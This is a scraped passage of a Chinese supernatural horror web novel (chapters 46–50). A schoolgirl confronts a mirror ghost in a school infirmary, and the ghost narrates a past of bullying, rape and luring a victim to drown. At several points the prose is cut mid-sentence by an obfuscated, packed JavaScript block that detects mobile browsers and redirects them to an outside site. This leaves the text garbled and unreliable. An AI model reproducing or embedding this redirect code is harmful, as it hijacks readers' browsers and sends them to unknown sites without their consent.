潮湿地带着腥气的气味让她不自觉皱起了眉头,地上有一滩水,不远处躺着一个人。 看背影是个穿着校服的女生,一动不动,看上去像是死了。 安然屏住了呼吸,脚下的步子也透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850098|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着小心翼翼,生怕眼前这个女生会是什么吃人的怪物,只等自己靠近便会暴起在脖子狠狠来上一口。 只是想象中的惊悚画面并没出现,反倒是越靠近,就越是有种莫名的熟悉感。 这人...她似乎见过。 将遮住了大半张脸的发丝拨弄开来,一张熟悉的脸露了出来,不是别人正是安然自己! 没什么比在这个地方看到一模一样的自己更恐怖,安然呆立在原地好几秒才犹豫着朝地上的人轻轻踢了一脚。 有实体。 不是幻觉。 就在她踟蹰着该将地上的人怎么办时,头顶的白炽灯突然闪了一下。不知道是不是她的错觉,灯光亮起的一瞬,地上的自己似乎消失了片刻,她甚至还闻到了一股劣质的檀香味。 错觉么? “兹拉——-” 头顶的灯光再次闪烁了一下。 这回她能确定了,不是错觉,灯光亮起的一刻,眼下脏污的女厕和整洁的女厕间发生了某种神奇的重合。 是她想的那样么? 安然心头没由来的一紧。 她下意识握紧拳头,嘶的痛叫了一声,一抬手只见一道横贯掌心的狰狞伤口正若隐若现。 一个荒唐念头随着掌心伤口的出现直击安然心头。 如果... 如果这里就是连接镜子和现实的出口呢? 假设姜慧说的都是真的——自己的血可以打开某个空间的出口,那么那天的她会不会就是因为生理期的原因误闯了镜子的域? 如果这个假设真的成立,那么眼下唯一对不上的大概就是时间线了。可镜子里的时间流速和空间真能用现实衡量的方法计算么? 安然不知道。 因为她已经没有时间再思考这些问题了。就在刚刚,安然发现随着头顶灯光的闪烁次数的增加,消失的不再只是地上的另一个自己,就连她的身体也变得时隐时现起来。 来不及思考。 当灯光暗下的一瞬,她以最快的速度抱起地上那个差点再次消失的自己... *********** 医务室。 安然感觉自己能在虚脱前赶到医务室,真的是个奇迹。好不容易将后背上的人放到床上,她感觉自己的腰快要直不起来了。 掌心的伤口因为托举的姿势已经裂开了,鲜血几乎浸湿了她整个手掌。从桌上抽了几张纸巾,刚想擦拭干净,蓦地想到了什么,也顾不得还在流血的伤口,安然连忙给床上的自己翻了个身,下一刻,一个鲜红的掌印清晰地引入了她的眼帘。 妈耶。 她还真是那个将自己送进医务室‘好心人’... 这下事情大条了。要是自己真是那个好心人,那就说明她们现在都在现实里,一会儿校医来看到两个一模一样的自己估计会报警吧?! 赶忙将手上血擦掉,又抹了把额头上的冷汗,得在校医来之前离开才行。临离开前,安然回头看了眼躺在医务室病床上昏迷不醒的自己,想了想从医务室的桌子上撕下了一张便利贴,将写好的字折好,正准备塞进了那个躺在床上的自己的口袋里,就听一道清亮的女声突然在她耳边响起:“欸欸欸,作弊可不是什么好习惯呦!” 安然猛地回头,瞳孔猛地缩紧,怎么...怎么会是她?! 那个…校医??? 47. 第47章 “小安然...你也太伤我的心了。” 校医打了个响指,原本躺在床上的另一个自己便忽地消失了。 “放心啦,你...呃我是说另一个你...她不会有事的。但为了之后的事情能顺利进行,保险起见,还是将你们两个分开比较好。” “姜慧?” “嗒嗒——”校医脸上露出了姜慧招牌式的笑,“意不意外,惊不惊喜?”说着还在安然面前转了圈,白大褂如蝴蝶般翩然,“怎么样?还不错吧?我之前的梦想就是当一名救死扶伤的医生,现在也算是梦想成真了。” “你把校医怎么了?” 姜慧低头拍了拍身上的白大褂,“放心啦,只是暂住一会会儿。脱轨时间太久,总得找个向导了解下新世界嘛!” 安然看着站在自己面前笑靥如花的校医,只觉得浑身一片冰冷,整个人如坠冰窖,过了许久才艰难的吐出了几个字:“你...是跟着我出来的?” 除了这个,她想不到任何姜慧如今能出现在现实里的理由。 “不要这幅表情嘛!安然。”姜慧伸手做了一个想要拥抱她的动作,“相信我,很多人因为你有了继续活下去的机会...” 安然避开姜慧的拥抱,皱眉:“什么意思?” “你不会以为我会老老实实等着被封印吞噬,然后安静的消散于天地间吧?”姜慧眨了眨眼露出个狡黠的笑。 “那些...杂质?”安然立马想到了那些奇形怪状的东西。 除了姜慧本身,镜子里唯一能称得上危险的就是那些黄红粘稠状怪物。 姜慧说林异的能力是消除它们,但按理说时间已经过去那么久了,又没有新增魂魄,那些东西不该那么难以消除才对,况且真那么难以处理,姜慧当年也不会那么肆无忌惮的‘拐走’那么多学生。唯一的解释就是姜慧有意将那些杂质和林异隔离开来,任其发酵到光凭林异一个根本无法处理的地步。 “我真是越来越喜欢你了。”姜慧转身坐到办公桌前的旋转椅上,“我就说嘛,换个时间,换个地点,咱们一定能成为无话不谈的好朋友。” “那林异和秦以淮呢?” “他们当然还在里面啦。你放心,镜子一时半会儿不会有问题的。” 安然不知道姜慧说的话里有几分真又有几分假,但她知道现在并不是讨论那些未发生的事情的好时机,“你想做什么?” 虽然不指望对方能说实话,但让她眼睁睁看着自己亲手释放的怪物去伤害别人...安然做不到。 “嗯...”姜慧露出了思考的表情,“当然是逛逛街,买买衣服,再吃吃美食,好好呼吸下自由的空气了。” “就这样?”安然显然不信。 “或许...找几个老朋友吃吃饭聊聊天,顺便再吃点饭后甜点...再认识几个新朋友?”姜慧猩红的舌头舔了舔嘴唇,一脸的人畜无害。 安然沉默,她听出了姜慧话里的言外之意:“所以呢?你想要什么?别说你特意留在这儿只是为了和我聊天。” “我需要借你的身体住一段时间。”姜慧说的直白且诚恳,“他们的身体都太弱了,而我呢,又需要时间恢复。” “借?说的你打算还似的。”安然唇角勾起个略带嘲讽的笑,但心里早就惊出了冷汗,她知道如果对方真要硬抢,自己根本就没有半点抵抗的能力。 “自然是要还的。”姜慧走近了几步,“最多3年。怎么样?”她靠近安然,你的身体...简直堪比五星级豪华住房。光是闻一闻...”她做了个嗅闻的动作,“就让人心旷神怡。嗯...比在镜子里的时候还要好闻。” 安然戒备地后退了好几步,后背抵着墙面,拉开和姜慧间的距离。 姜慧似乎被她这个动作取悦到了,眼中笑意更甚:“你知道的,不管怎么样,你都没办法拒绝。之所以告诉你真相,是因为我真的很喜欢你...安然。” “我答应你,最多3年,我帮你改变你现在这个烦人体制。3年后让你回归普通人的生活,然后做个寻常的大学生...怎么样?还是你以为你接下来的生活就万事大吉,回归平静了?你会遇见更多的鬼怪,会遇到更多的危险,终日游走在生与死的边缘,那是你想要的生活么?” “三年换平静的一生。很划算。不是么?” 安然垂下眼眸,像是在思考,浓密的睫毛轻轻颤抖,如同破碎的鸦羽看上去无助又可怜。沉默了许久,半阖的双眼才像是重新找回了焦距:“你真的能做到?...让我重新变回一个正常的...普通人?” 姜慧在安然眼中看到了某种强烈的希冀,心跳因为某种不可言说的情绪加快了起来,她舔了舔校医有些干燥的唇,血液的甜腥味儿在舌尖蔓延开来,“你知道我的本事...就该知道这对于我来说不是难事。” 安然眼中希冀更甚,但隐隐还有挣扎和担忧,“你会伤害我的家人朋友么?” “自然不会。” “那这三年...我会怎么样?消失么?” “当然不是,对你来说你只是睡了一觉。睡醒后,你的家人、你的朋友,你的生活都还是你的。” 安然抿唇,眼中的踟蹰像是萤火虫的光在姜慧的叙述里越来越弱。 “我能问个问题么?” “什么?” “为什么镜子的空间能连接现实里的过去?” “特殊的不是镜子,而是你。”姜慧循循善诱,“要知道当你看向镜子的时候,镜子也在凝视你。但镜子的确是一个很神奇的东西。虚虚实实,容易让人摸不清头脑。” “什么...意思?” 姜慧脸上的笑容收敛,眼中闪过一丝狠厉,“当初那帮人可不是简单拆除某一部分线路。他们在学校的线路上做了手脚,以林异为媒介,让他的能力和封印之间产生共鸣,以加大阵法对我的压制。但这还不够,还要再上大量活人的阳气。但这间楼已经被废弃了,阳气只能从其他地方转移。” “其他教学楼?” “不错。整间学校的电路就是一个巨大的阵法。这也是为什么他们不让学校四月份开风扇的原因。电路的流动会影响封印的稳固。” 安然垂眸,这也解释了为什么姜慧会说是万胜柔帮了她,“可这和镜子的空间有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850099|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么关系?” 姜慧露出个笑:“你觉得为什么会是那间女厕?” “因为我的...生理期?”安然有些不确定。 “算是一个原因,你可以将镜子世界和现实想象成一个平行空间,两者间有一道将两个世界隔离开来的屏障,因为万同学的施以援手,导致这道屏障的某一个点发生了小小的改变,变得有那么一丢丢薄弱。” “那间女厕?” “嗯哼。”姜慧见安然的脸色苍白,瞬间猜出了她的想法,眼睛微微眯了起来:“还记得你做的那些噩梦么?” “是...你?”安然在说这话的时候难以抑制的咬牙切齿,天知道那段时间她是怎么熬过来的。 姜慧摊手,没有半点愧疚的意思,“那一点点变化,足够让我做很多准备了。” “所以呢?你还是没说到重点。” “重点么?”姜慧一副‘你怎么这么猴急,真拿你没办法’的表情看着安然,“重点就在于女生的初潮。” “这是个很神圣的结点。一个由孩童转至成人的分界线。经血至阴,但初潮的经血却有一半属阳,是世间少有的至阴至阳之物。你的血只能‘开门’却不能创造出门。但你的初潮却可以。它在那里留下来一道门,或者说一处小小的口子。只是很遗憾,那处通道只有在你想要进去的时候才会出现...通向哪里也只能由你来决定。所以我只能在镜子的空间上做一点点调整,好让两个不同时空的你在这里相遇...” “毕竟人只有在自救的时候才不会考虑太多。” 安然按了按胀痛的太阳穴,姜慧透露的信息实在太多了。她感觉自己一下子从一个除招鬼外还算正常的正常人彻底变成了非人类。 老头子知道她的血有这种特殊作用么? 姜慧见安然一脸的颓丧,露出个安抚的笑:“我说了,只要你同意,这些都会消失。” “...还有一件事...” “你说。” “如果我的血能开启空间与空间之间存在的门...那人与人之间的门呢?” 姜慧皱眉,面露疑惑,“什么意思?” 安然趁对方思考,从口袋里掏出一串三枚联在一起的山鬼铜钱朝着姜慧的面门就扔了过去。 铜钱触碰到对方的一瞬间亮起一道金光,姜慧惨叫一声,竟直接从校医身体里震飞出去。安然没想到这铜钱还有这效果,刚想捡起来再扔一次,却发现这三枚铜钱中间裂开了一道口子,就这么直接报废了。 啧。竟然还是个一次性的东西。 安然第一时间将倒在她不远处的校医拖到不远处的的病床后面。又将那串裂开的铜钱放在她的胸口上,祈祷这玩意千万能再起点作用。 姜慧喉间发出呼噜呼噜的低吼,像是怪物吃痛时发出的嚎叫,连带着整间医务室都在发出轻微的震颤。只见对方猛地抬起头,她脸上的皮肉竟然有一部分消失了,眼球裸露在外,却并没有淋漓的血肉,而是露出了光滑的宛如镜面一样的东西。 她嘴角一点点裂开,扯到耳边也没有停下来的意思:“小安然,小安然,你还真是不够听话。” 48. 第 48 章 声音听不出男女,语气却是安然熟悉的。 安然一咬牙,撕开掌心的伤口,鲜血一下子涌了出来,直接按在了裸露的脚踝上。 一定要有用啊... 安然额头上渗出细密的冷汗。 ‘姜慧,你可得争点气啊...我要是死了,林异可就再也出不来了!!!’ 她在赌,赌某种程度上,姜慧和她之间也只是一门之隔。 1秒。 2秒。 3秒。 如果没用... 如果没用就只能... 忽地,一个穿着校服,披头散发,浑身滴着水的女生出现在了安然的面前,挡在了她和姜慧的中间。 两人之间一条暗金色的锁链若隐若现。可还没等安然仔细检查,那东西闪烁了两下便消失了。 姜慧前进的动作一顿,用仅存的另一只眼睛仔细打量起面前的女生,随即哈哈哈大笑起来,声音粗噶难听:“哈哈哈...你也...也太可爱了...哈哈哈...叫这么个废物出来...哈哈哈哈...”似乎是笑够了,她按了按眼角笑出的眼泪,看向女孩身后的安然,“你不会以为...凭她,也能伤害到我吧?” 安然往后挪了挪没吭声。 镜妖版姜慧打了个响指,她的周围便浮现出许多镜子的碎片。 透过镜子碎片,安然看到了女孩的脸,一双血红的眼睛,以及那张苍白浮肿而熟悉的面孔。 姜慧一挥手,镜片在半空中聚成了一柄长剑朝着女孩儿的脑袋就劈了下去,直接将对方一分为二。 安然甚至还没来得及反应,听见了玻璃落地发出的清脆声响。 “哈哈哈哈....”粗哑的笑声回荡在医务室里。 忽地,声音戛然而止。 女孩儿再次出现,挡在了安然面前。 “姜...慧...”安然的声音轻的像是呓语。 女孩的行为明显激怒了姜慧,一抬手,周围浮现出了更多的碎片,碎片聚成一个脸盆大小的拳头,一拳就将女孩砸散了。 但下一刻,女孩的身体重新聚集,依旧不为所动的挡在安然面前。 “为什么?”姜慧嘶哑的声音在医务室里响起,不知道是问安然还是在问女孩儿。 没有人回答。 不知道是不是错觉,安然在姜慧那只完好的眼睛里看到一丝茫然,只是那点茫然还没来得及看清便重新被冰冷取代。 姜慧走到女孩面前,身体中间突然向两边裂开,腹腔里满是细碎的镜片,密密麻麻,灯光在镜面的折射下翻出五彩斑斓的光,乍一看宛若无数的钻石在她身体里熠熠生辉。 女孩儿被吞的无声无息,甚至连闷哼都不曾发出。 “这下...”姜慧说到一半,瞳孔蓦地一缩,只见刚刚被她吞掉的女孩正在她目光所及之处再次聚集。 “蠢货!蠢货!蠢货!蠢货!!!”姜慧嘴里一边骂着蠢货,一边一拳拳没有章法地砸在女孩身上,没多久对方便再次消散。 气氛在女孩儿的一次次出现和消失中逐渐变得暴躁而压抑。 姜慧不知道是被气到了是累了还是在想其他的法子,不再像之前那样一味发泄似的摧毁,只用阴郁的眼神盯着她们。 安然呆呆地看着挡在身前的背影,身上的水落在地面上发出‘滴答滴答’的声响。女孩儿就那样挡在自己面前。不动。不说话。像个没有自我意识的木偶。 不知怎的。 看着面前的背影,安然突然感到了些许后悔。 后悔用了这个法子。 忽地,她察觉到了些许不对劲,尽管背影还是那个背影,但似乎变淡了很多。安然想到了什么,赶忙用衣袖擦干脚踝上的血迹,不看不要紧,这一看差点没吓得背过气去,先前还有鼻子有嘴巴的脸,这会儿看过去竟就只剩了个时隐时现的轮廓。 姜慧撑不了不多久了! ‘姜慧!回来!快!回来!!!’安然在心中疯狂呐喊,可她不敢出声,甚至不敢表现出惊恐,她害怕自己的异常会加快对方的万劫不复。 不知道是安然的呼唤起了作用还是某种回光返照,站在她面前的身影竟微微动了一下。像是发条生锈的老化机器,连带着女孩转身的动作也一顿一顿的。 直至那双殷红的眸子看向安然。额角的伤口被泡的肿胀发白,暗色的肉芽外翻。那张和皮肤几乎一个颜色的唇瓣微微张开。 没有声音。 但安然看懂了。 ‘救他。’ 下一秒她一改之前的迟滞,像只动作灵巧的猫,狠狠扑向了面前的姜慧,一口咬在了对方的颈动脉上,如钻石般的玻璃碎片从伤口溢出散落到地上,发出细微的脆响。 姜慧彻底被女孩儿激怒,按住对方的脖颈狠狠一扯,女孩便被她拽了下来,姜慧脸颊连带着脖子上的一大块皮肤都被撕扯了下来,露出了下面蛛网状的光滑镜面。 姜慧将女孩按在地上,居高临下地看着她狼狈的脸:“知道我们为什么落到现在这个下场么?”她手下用力,死死勒住对方的脖子,“因为你。因为你的蠢!因为你的下.贱!因为你的自甘堕落和自以为是!因为只要有人稍微施舍些善意,你就会像只摇着尾巴的狗,恨不得四脚朝天匍匐在人的脚下!” 姜慧手上的力道逐渐加深,除了那颗完好的眼睛,她身上的皮肤开始逐渐消失,露出了在这之下由镜面组成的身体。就连之前被女孩儿咬碎的脖颈也重新长出了新的镜面。 “我以为时间会让你多少变得聪明一点,但我错了...你还是...和以前一样蠢。我不再需要你了。再见了,蠢货。” 她的手掌幻化成了一道锋利的尖锥,径直朝着地上的女孩就刺了过去。 “不要!!!”安然的声音歇斯底里。 愤怒和恐惧几乎瞬间蔓延她的身体和灵魂,她的左眼在愤怒中变成了瘆人的血红色。 姜慧动作不停,连眼皮都没有朝她抬一下。 眼看着锐利的尖刺就要插进女孩的心口。一根暗金色的锁链凭空出现,对着尖锥狠狠一击,只听哗啦一声,姜慧的整只手臂都都掉了下来砸在了地上。 “啊!!!” 姜慧倒在地上痛苦哀嚎。 “啧。”是个男人的声音。 他不满的啧了一声,锁链像是得到了某种命令,飞速地将姜慧的嘴一圈一圈缠了起来。 下一刻,她的咧开的嘴巴竟突然消失了,只剩那颗完好的眼球满是惊恐地盯着角落里缓缓走出的人影。 那人转动了一下脖子,食指在掌心的伤口上狠狠一按,鲜血立马从伤口里渗了出来。她将食指放在唇边,粉色的舌尖滑过指尖立马染上了炫目的猩红。 一金一绿的瞳孔猛地竖起,眼中交缠的锁链微微颤动发出了一阵阵兴奋的嗡鸣。 但她脸上始终没有什么表情。 甚至看都没看不远处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些东西并不在什么牢笼里,而是在... 脖颈上的锁链倏地收紧,咔咔声不绝于耳。姜慧还没来得及从幻境中抽离,就感觉眼眶的位置倏地一凉。 等她意识到什么的时候已经晚了。 不! 不不不! 不要! 她在心中疯狂呐喊,祈求对方能停手。 但那根冰冷的手指并没有停下来的意思。在姜慧那只唯一还完好的眼眶中一下一下搅动着,然后她听到了血与肉之间黏腻的摩擦声,有什么东西被人拿走了。 “还真是这东西。” 她听到那人的低语。那声音似是带着笑的,又仿佛带着某种隐秘的不怀好意。 但姜慧已经分辨不出来了。 她的身体开始分解,第一块碎片掉在了地上,接着是第二块,第三块...无数镜子的碎片砸在地上,发出细碎的,像是被微风亲吻过的风铃轻晃出清脆的声响,如此悦耳。 49. 第49章 我叫姜慧。 那个被推进深渊又被人拉出来的女孩儿,至少在死前我一直都是这么想的。除了夏澄澄,我拒绝所有的人的示好,大概是我的忘性没他们那么大,也大概是那些刀子没划在他们身上,所以那些人才永远不知道伤口有多疼。 从楼梯上摔下来后,再醒来就发现自己被困在了楼道口的那面镜子里。我能看到镜子外的学校,却没有一个人发现拼了命的拍打着镜子被困在里面的我。 当我看到那几个本该在那场仪式里死掉的人全都活蹦乱跳的经过拐角的镜子走上通往教室的楼梯时,我便明白了,那是针对我的一场阴谋。 说恨么? 自然是恨的。 我恨不得杀了伤害我的每一个人。 但其实还有难过、不解、愤怒和不知所措。 那时的我,除了被困在镜子里以外,思想上其实和活着的时候并没多大区别。还以为活着和死了的差别无非是有无肉.体的束缚,现在想来还真是有些天真的可爱。 随着时间的流逝,我发现恨意对我来说其实远没有孤寂来的可怕。特别是当我发现镜子里时间的流速远远大于现实时,这种一眼就能望得到头的恐惧更是达到了顶峰。 没多久,我出现了幻听。 但那道时隐时现的声音很模糊,模糊到我以为自己是被孤独逼疯了。 但渐渐地,那道声音也越来越清晰,它说它就是困住我的镜子,在这里的原因是为了镇压某样很恐怖的东西,等它发现我时,我已经被困在了镜子里。 它还说它想帮我离开,只是目前太虚弱了,镇压地下的那个东西几乎耗尽了它所有的力量。 我那时不知道是不是被这种一眼就能看到头的寂寞吓得失了理智,竟然没有怀疑它话里的真实性。但有了它的帮助,虽然仍旧出不去,但却能看到学校里发生的任何事。 只要我想。 也是在那时我知道了所有的真相,知道了他们将我的尸体扔进后上湖底也知道了夏澄澄继父给了我父母一大笔封口费给我弟弟的治病的事。 那一刻恨意便排山倒海般侵蚀我的理智。 很长很长一段时间,我都处于一种混乱的状态,我甚至不知道那段时间自己是清醒的还是处于沉睡。 从混沌中清醒时,我才发现那时我已经不在走廊拐角,而是被搬到了一间室内的体育馆。 在一个经过我面前的学生胸口别着的校徽上,才知道竟然过去了将近3年的时间。 我呼唤镜子,但没有得到回应。 之后的大多数时间我都在发呆,脑子里甚至什么都没想,就像虽然那些记忆还在,但情绪却已经消失了。 直到一个人的出现。 那是一个看上去有些沉默甚至阴郁的男生。 他看到我时,明显愣了一下,尽管很快便移开了视线,但我还是注意到了他。 从那以后,他每次经过镜子的时候都低着头,长长的刘海遮住眼睛,但我能感觉有道视线落总会不经意落在我的身上。不知道是不是我的错觉,每次只要看到他,那些丢失的情绪就会一点点地回到我的身上,虽然之后又会再次消失。 我对他产生了好奇。开始不自觉关注他的一举一动。 他被排挤了。 我一眼就看出了他的处境。 就像当初我一样。 所有人都会下意识离他远远的。 我后来也从那些学生的只言片语中得到了零星的‘真相’。 男孩叫林异。 和她的情况有些不一样,男孩似乎是自己将自己孤立在了人群之外。他从不回应任何人,就连和自己的母亲也是零交流,他们甚至私下讨论他其实是个傻子。 但很明显,男孩不是。 这也让我对他越来越好奇。 于是,我生出了一个大胆的念头。 我开始找他说话,每次只要他出现,我就会叫他的名字,和他说话。尽管没有回应,但每次和他说完,那些丢失的情绪就会回来一部分,尽管最后还是会消失,但那让我感觉自己还活着,而不是如现在的这般的行尸走肉。 从那以后,我每天最期待的就是看到他。 但每个班级一周只有3节体育课。 我摸清了他来体育馆的时间,乐此不疲的讲述着自己的过去,从小时候的事讲到上学,讲到霸凌,讲到夏澄澄,讲到自己死亡的过程,真相还有被困在镜子里的事。 林异也从一开始完全不理会到后来坐在镜子旁边安静的倾听。 他对我说的第一句话是“别哭了。” 也是从那天起,我们成了朋友。 大多数时候都是我在说话,他偶尔回应几句,但那段时间真的是我一生中最快乐的时光,虽然我也很想知道为什么林异能看到我,为什么他从不和人交流,为什么和他在一起就能感受到那些丢失的情绪,但林异对那些却从不愿意多说,我也就不再多问。 事情的转折是在什么时候呢? 是那个叫程景浠的男生。他气势汹汹地跑到镜子面前让我实现他的愿望。 可我根本就听不懂他在说什么,我甚至一度以为他是个脑子不怎么好使的神经病。 直到我看到了另一个我,那个和我长得一模一样的我。 我看着她用一种近乎妖异的口吻说着一些蛊惑人心的话。 她让程景浠接近林异。 我想要阻止,想要问那家伙到底是什么东西,想问她为什么会长着我的脸,但我什么都做不了。我被她操控着,眼睁睁看着自己说着言不由衷的话。 他们的计划得逞了。 为了阻止林异,我强行逃出了镜子,离开镜子的那一刻,我终于知道了那家伙是谁了,是镜子,也是我,承载着所有负面情绪的我。 我看着林异走进镜子,在他的视线落在我身上的那一刻,我才恍然大悟,他都知道,他什么都知道,那些谎言,那些计划,他一清二楚,但还是义无反顾的走了进去。 “别哭。”是他对我说的最后一句话。 我疯狂的拍打着镜子,只是我还是那个没用的我,什么都做不了,只能看着林异走进镜子,最后被尸体牵引着束缚在了冰冷的湖底。 我在水里待了很久,久到几乎所有的记忆全部消散,久到只记得林异走进镜子的背影。就在我以为自己会连同灵魂一起腐烂在这阴暗的湖水里时,我听到了那道通过校园广播传来的熟悉的名字——-程景浠。 他感情充沛地讲着幼时地不幸,父母早亡,他是如何一边照顾着年迈且患有阿尔兹海默症的奶奶,一边又刻苦学习,又是如何一步一个脚印获得今天的成就,听上去励志又鼓舞人心。 可我听了只觉得滑稽、愤怒和久违的清醒。 然后我就听到了哭声。 那个女生一边哭一边对着湖面絮絮叨叨讲述着自己的经历。早亡的母亲,强势的父亲,造就了她一点就着的脾气。 她诉说着自己因为一场愚蠢真心话大冒险,偷了他爸爸的钥匙,打开了某一个配电箱,她只是希望她的父亲能多在意自己一些,却没想自己的父亲会因为这件事扇了她一耳光,她一气之下就跑去投奔网友。 这一见,就出事了。 她被对方强.暴了。 现在的她不敢报警,不敢回家,因为对方说如果敢报警,她的照片和视频就会在全世界免费播放,她知道那人不是危言耸听。 他能做的到。 当她哭着骂广播声音的主人是禽兽时,我知道我的机会来了。 我的出现把她吓的够呛,直到现在我还记得那姑娘在慌乱之下穿反的裤子和不知所措的像只受惊兔子的神情。 而那个□□她的人果然是正在学校里演讲的程景浠。 我学着镜子说着蛊惑的话,告诉她我可以为她报仇杀了那个男人,只要她跳进这片湖水。她的离开也会让她的父亲痛不欲生。 原本我以为自己还要费些口舌,没想到那丫头倒是爽快,二话不说直接就跳进去了,甚至我将她拖进水底时都没怎么挣扎。 因为万胜柔的替代,我终于离开了那片禁锢我的湖水。 我花了些时间才将程景浠给弄死,如果不是他平时坏事做的太多,估计还要再花上不少时间。 也是在那个时候,我彻底明白光凭我的能力根本救不出林异。 我知道我的离开,镜子一定感受到了,就像我也能偶尔感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850101|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应到对方的存在一样。就在我打算像镜子一样吞掉几个灵魂的时候,我遇到了安然。 那个浑身散发着诱人的食物般香气的女孩儿。只一眼我知道这个女孩身上没有其他人身上那种隔绝鬼蜮的炁。但她身上还有另一股气息,很淡却让我忌惮。 但那种预感,一旦吃了她我就能获得救出林异能力的预感,就像潘多拉的盒子,不停诱惑着我打开看看里面究竟有什么。 于是我操控着万胜柔想要探探她的底。 当我发现她不过是个心态稍微稳一点的普通人时,终于迫不及待地打算将她一口吞掉。 但我错了。 这盒子里装的根本就不是什么美味的巧克力,这里面装着的是嗜血的凶兽是杀鬼的开膛手,是恐怖的怪物。 我想要逃,但根本没用。 那恐怖的力量将我束缚在了她的身上,我又重新被套上了沉重的枷锁。 后悔根本不足以形容我当时的心情。可我越是挣扎,束缚在身上的那张网就越紧。就在绝望几乎快要将我彻底淹没时,我发现那道枷锁竟然不是单方面的,我和她之间形成了一种很奇怪的契约关系。 但我能感觉到这种联系并不是永久的,更像是某种短期合同。 至于合同内容是什么,说实在的我也不太清楚。只知道她在束缚我的同时连同我的执念一并承担了。而我只保留了少数为对方提供线索的清醒意识,大多数时候都是被压制着,就像在湖底那段时间的浑浑噩噩。 直到安然将我从这种混沌的状态下唤醒。 我看到了另一个我。 也许就像她说的,这些年我始终没什么长进,被最好的朋友算计失去生命,第一次产生吞噬人灵魂的想法就碰到了这么个硬茬子,但即便这样,我还是有我不能放弃的东西,哪怕为之付出生命甚至魂飞魄散。 但最后的结果是我没死,安然身体里却莫名其秒的多了一个男人。 那是个气息异常恐怖的男人,我甚至不敢抬头看他。 镜子在他面前更是不堪一击。 看着碎成片的镜子铺了一地,我才恍然大悟,原来从始至终我和镜子的关系都不是共生,而是一种畸形的寄生。它寄生在了我满含怨气的另一半魂魄上。 我也终于明白了镜子之所以会那样气急败坏,就是因为我始终不愿意放弃希望。哪怕我再怎么怨恨憎恶这个世界,也无法否认这里同样有我所眷恋的。 只要希望还在,它就永远不可能彻底将我吞噬,哪怕最后灰飞烟灭,我也始终是我。 男人随手将我从安然脚踝的位置拽出来,又在碎镜片的上点了几下,被镜子束缚的灵魂在他的指引下,全部回到了我的身体里。 整个过程十分痛苦,但我始终忍者不敢发出半点声音,尤其在我知道那些锁链究竟是什么后,只默默看着他操控着那些凭空出现的锁链将地上的碎片全部包裹了起来。 下一刻,我只觉得眼前一花,周围的场景便换了个模样,一个巨大的银色球体出现再了我的面前。里面游荡的畸形灵魂似乎已经被成功安抚,除了偶尔的蠕动以外,再没别的异常。 我知道这是林异和他的弟弟。 男人靠近那个球,将那些镜子碎片洒在了上面。像是热油里泼进了冰水,巨球里原本安静的灵魂顷刻间沸腾了起来,他们疯狂吞噬那些落进去的镜子碎片,咀嚼声哀嚎声顿时响成了一片。 随着越来越多的镜片被吞噬,银球里那些扭曲的灵魂也像是宣泄完了心中的愤怒,原本畸形的身体也渐渐有了人形,直至变成一个小小的银白色光点。 “哗啦——” 耳边响起了锁链在地面上拖曳的刺耳声响。 我不知所措地看向身侧,对方黑沉沉地眸子让我将想说刚出口的话不自觉又咽了回去。 “管好自己的嘴。”男人面无表情地看着我。 男人那异色瞳孔格外妖异,蠕动的锁链上无数奇形怪状的巨兽疯狂挣扎,鲜血从它们撕裂的伤口不断涌出,被锁链吸收后,颜色变得愈发妖异。我艰难的咽了口唾沫,点头示意自己不会多话。 男人没再理会我,闭上了眼睛。 当她再睁眼,我看到了那个熟悉的灵魂。 50. 第50章 安然睁开眼睛。 面前的姜慧让她忍不住往后退了好几步。 怎么回事... 许愿失败了? 这还能失败的...么?她家老头子不说那是第一只鬼么?! 难道...关太久战斗力不行了? 她这头还没搞清眼前状况,左眼便传来一阵撕裂般的疼痛。安然下意识捂住眼睛,踉跄着跪在了地上。 姜慧原本想要解释两句,见安然突然倒地,想都没想就要过去扶人,这一动竟然发现自己压根迈不开腿,一道时隐时现的锁链将她整个人束缚在了原地。透过指缝,她看见一道鲜红的掌印附着在了安然漆黑的瞳孔上,紧接着第二道,第三道第四道...无数血色手印无声哀嚎,它们交叉重叠,让原本漆黑的瞳孔转眼变成了不详的红色。 